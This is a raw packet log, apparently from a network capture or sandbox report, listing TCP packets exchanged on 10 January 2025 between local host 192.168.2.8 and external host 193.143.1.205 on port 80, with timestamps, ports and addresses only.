Jan 10, 2025 17:07:15.733123064 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:15.733783960 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.733807087 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.733823061 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:15.733856916 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:15.733877897 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:15.739893913 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.739911079 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.739926100 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.739948988 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.739964962 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.739979029 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.739990950 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:15.739994049 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.740015030 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.740029097 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.740036964 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.740040064 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:15.740045071 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.740062952 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:15.740082026 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.740098000 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.740117073 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:15.740149021 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:15.741022110 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:15.786916971 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.786945105 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.786961079 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.787024975 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.787038088 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.787054062 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.787070990 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.787075043 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:15.787086964 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.787127018 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:15.787168026 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:15.817677021 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.817698956 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.817728043 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.817744970 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.817760944 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.817776918 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.817802906 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.817819118 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.817832947 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.817848921 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.817850113 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:15.817856073 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.817863941 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.817872047 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.817879915 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.817888021 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.817897081 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.817922115 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:15.817950964 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:15.847774029 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.847832918 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.847867966 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.847902060 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.847938061 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.847949982 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:15.847991943 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:15.847992897 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.848043919 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:15.848051071 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.848082066 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.848119020 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.848125935 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:15.848171949 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.848205090 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.848222017 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:15.848242998 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.848294973 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.848311901 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:15.848354101 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.848385096 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.848404884 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:15.848417997 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.848453045 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.848470926 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:15.848505974 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.848551989 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:15.848556995 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.848591089 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.848627090 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.848635912 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:15.848660946 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.848706961 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:15.848711014 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.848745108 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.848778963 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.848812103 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:15.848812103 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.848850965 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.848851919 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:15.848880053 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.848913908 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.848933935 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:15.848948956 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.848992109 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:15.849000931 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.849052906 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.849071026 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.849104881 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.849107981 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:15.849157095 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.849178076 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:15.849194050 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.849227905 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.849240065 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:15.849263906 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.849297047 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.849298954 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:15.849330902 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.849365950 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.849375010 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:15.849399090 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.849435091 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.849461079 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:15.849472046 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.849508047 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.849513054 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:15.849543095 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.849576950 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.849584103 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:15.849628925 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.849674940 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:15.849678993 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.849714041 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.849750042 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.849761009 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:15.849785089 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.849817038 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.849828959 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:15.849852085 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.849885941 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.849895000 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:15.849920988 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.849953890 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.849970102 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:15.849987984 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.850023985 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.850033998 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:15.854985952 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.855042934 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.855093002 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:15.855094910 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.855148077 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.855154991 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:15.855181932 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.855215073 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.855235100 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:15.855268002 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.855302095 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.855353117 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.855386019 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.855418921 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.855453014 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.855485916 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.855520964 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.855556011 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.855588913 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.855622053 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.855622053 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:15.855659008 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.855659962 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:15.855683088 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:15.855695009 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.855730057 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.855741978 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:15.855763912 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.855799913 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.855808973 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:15.855833054 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.855865955 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.855880022 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:15.855906010 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.855942965 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.855952024 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:15.855978012 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.856012106 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.856020927 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:15.856048107 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.856080055 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.856095076 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:15.877794981 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.877816916 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.877832890 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.877850056 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.877866983 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.877934933 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.877950907 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:15.877963066 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.877990961 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.878004074 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.878030062 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.878046989 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.878057957 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:15.878062010 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.878078938 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.878084898 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:15.878094912 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.878104925 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:15.878110886 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.878123999 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:15.878129005 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.878144026 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.878159046 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:15.878160000 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.878192902 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:15.882051945 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:15.908164024 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.908184052 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.908204079 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.908217907 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.908231020 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.908246040 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.908267021 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.908277988 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.908288956 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.908301115 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.908318996 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.908322096 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:15.908330917 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.908349991 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.908363104 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.908375978 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.908387899 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.908407927 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:15.908488989 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:15.938462973 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.938478947 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.938504934 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.938517094 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.938528061 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.938535929 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.938559055 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:15.938595057 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.938601017 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:15.938641071 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:15.938730001 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.938816071 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.938831091 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.938854933 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:15.938891888 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.938918114 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.938936949 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:15.938970089 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.938982964 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.939002037 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.939011097 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:15.939045906 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:15.939074039 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.939106941 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.939119101 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.939141035 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:15.939162016 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.939182043 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.939198017 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.939204931 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.939204931 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:15.939232111 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:15.939269066 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.939284086 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.939294100 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.939306021 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.939306021 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:15.939340115 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:15.939343929 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.939357042 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.939368010 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.939378977 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.939388037 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:15.939399958 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.939408064 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:15.939414024 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.939428091 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.939440012 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:15.939475060 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:15.939486027 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.939553022 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.939564943 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.939575911 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.939587116 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.939595938 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:15.939619064 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:15.939687967 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.939699888 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.939714909 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.939727068 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.939739943 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.939743996 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:15.939752102 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.939763069 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:15.939764977 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.939779043 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.939798117 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:15.939810991 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.939814091 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:15.939824104 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.939835072 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.939846039 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.939850092 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:15.939858913 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.939872026 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.939882040 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:15.939883947 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.939904928 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.939913988 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:15.939918041 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.939929962 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.939930916 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:15.939941883 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.939954996 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.939964056 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:15.939968109 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.939996004 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:15.940018892 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:15.940037012 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.940057993 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.940076113 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.940085888 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.940097094 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.940098047 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:15.940109015 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.940120935 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.940131903 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:15.940135956 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.940161943 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.940162897 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:15.940174103 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.940180063 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:15.940186024 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.940198898 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.940212011 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.940217972 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:15.940227985 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.940238953 CET	80	49704	193.143.1.205	192.168.2.8
Jan 10, 2025 17:07:15.940238953 CET	49704	80	192.168.2.8	193.143.1.205
Jan 10, 2025 17:07:15.940252066 CET	80	49704	193.143.1.205	192.168.2.8
